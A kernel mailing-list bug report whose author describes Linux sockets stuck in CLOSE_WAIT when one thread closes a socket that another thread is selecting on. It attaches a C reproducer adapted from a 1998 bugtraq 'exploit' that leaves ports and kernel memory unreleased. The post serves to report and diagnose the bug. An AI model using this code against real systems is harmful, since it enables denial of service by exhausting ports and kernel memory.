Hi all,

I suppect that there is bug in both kernel 2.2.19 and 2.4.5.
The situation is as follow.

One server socket created and listening, blocking on select(),
once a client connect to that port, there is another thread in server
side issues a close() to the new connection. 
After the client close the connection. The connection in server side will
stuck on CLOSE_WAIT forever until the program being killed.

I have attached a program to trigger the bug.
The program is written base on a bugtraq post on this link:

  http://archives.indenial.com/hypermail/bugtraq/1999/January1999/0015.html

This is the output of "netstat -anop":

tcp   1   0 127.0.0.1:52882   127.0.0.1:1031  CLOSE_WAIT   -  off (0.00/0/0)
tcp   1   0 127.0.0.1:52882   127.0.0.1:1030  CLOSE_WAIT   -  off (0.00/0/0)

You can see that there is no owner and the timer is off.

I encounter this in my server program and the CLOSE_WAIT thread eat up
all the resource as it cannot be released.

I have tried this on kernel 2.2.16, 2.2.19, 2.4.5 and using
gcc version 2.96 20000731 (Red Hat Linux 7.0), all this have such problem.

I am new to kernel hacking. I don't know whether this is a bug or not. 
Please correct me if I am doing something wrong and forgive my poor
description.  :)


Thanks
Dicky

PS. Please CC: [EMAIL PROTECTED] when reply.

// This program will kill a random port on a linux machine. The kernel will
// forever listen to that port and send the connections nowhere. Tested with
// Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile,
// but removing LinuxThreads from your system will not solve the problem.

// The bug is triggered when a multithreaded program closes a socket from
// one thread while another thread is selecting on it. A subsequent abort
// leaves the socket in never-never land.

// Do not underestimate the risk of this exploit. While this program
// is mild, more vicious programs could lock large numbers of ports or
// replicate this same attack on an active connection with large
// send/receive buffers full of data. This could cause large increases
// in kernel memory consumption.

// Discovered by David J. Schwartz <[EMAIL PROTECTED]>
// Copyright (C) 1998, David J. Schwartz

// Note: This bug was not fixed in 2.0.36, as I was told it would be

// Compile with:
// gcc CLOSE_WAIT_test.c -lpthread -o CLOSE_WAIT_test

#include <pthread.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <errno.h>

volatile int s;
volatile int sock;
volatile int connected=0;

void *Thread1(void *a)
{
 int i,p;
 struct sockaddr_in to;
 fd_set fd;
 s=socket(AF_INET, SOCK_STREAM, 0);
 if(s<=0) return;
 memset(&to, 0, sizeof(to));
 srand(getpid());

 /* we pick a random port between 50000 and 59999 */
 p=(rand()%10000)+50000;

 printf("port = %d\n", p);
 fflush(stdout);
 to.sin_port=htons(p);
 to.sin_addr.s_addr=0;
 to.sin_family=AF_INET;
 if(bind(s, (struct sockaddr *)&to, sizeof(to))<0)
  fprintf(stderr,"no bind\n");
 if(listen(s,10)!=0)
  fprintf(stderr,"No Listen\n");
 /* now we are listening on that port */
 i=sizeof(to);
 FD_ZERO(&fd);
 FD_SET(s,&fd);
  fprintf(stdout,"Listening, before select\n"); 
  fprintf(stdout,"Please connect to port %d now\n", p); 
  select(s+1,&fd,NULL,NULL,NULL);
  /* at this point we have selected on it as well */
  fprintf(stderr,"select returned!\n");

  if (FD_ISSET(s, &fd))
  {
    fprintf(stdout, "socket is set\n");
    sock = accept(s, NULL, NULL);
    fprintf(stdout, "accepted\n");
    FD_SET(sock, &fd);
    fprintf(stdout, "FD_SET ok\n");
    connected = 1;

    fprintf(stdout,"\nListening, before select\n"); 
    select(sock+1, &fd, NULL, NULL, NULL);
    fprintf(stdout, "select returned\n");

    
  }
  else
  {
    fprintf(stderr, "Error : fd not set\n");
    exit(1);
  }
}

void *Thread2(void *a)
{
  fprintf(stdout,"Thread2 : before close the client socket\n");
  close(sock);
  fprintf(stdout,"Thread2 : after close the client socket\n\n\n");
  fprintf(stdout,"Please close the remote session and check the result\n");
 fflush(stderr);
// abort();
}

void main(void)
{
 pthread_t j;
 pthread_create(&j,NULL,Thread1,NULL);

 while (connected == 0)
   usleep(1000); /* give the other thread time to finish */
 pthread_create(&j,NULL,Thread2,NULL);

 while(1) sleep(1);
}



Reply via email to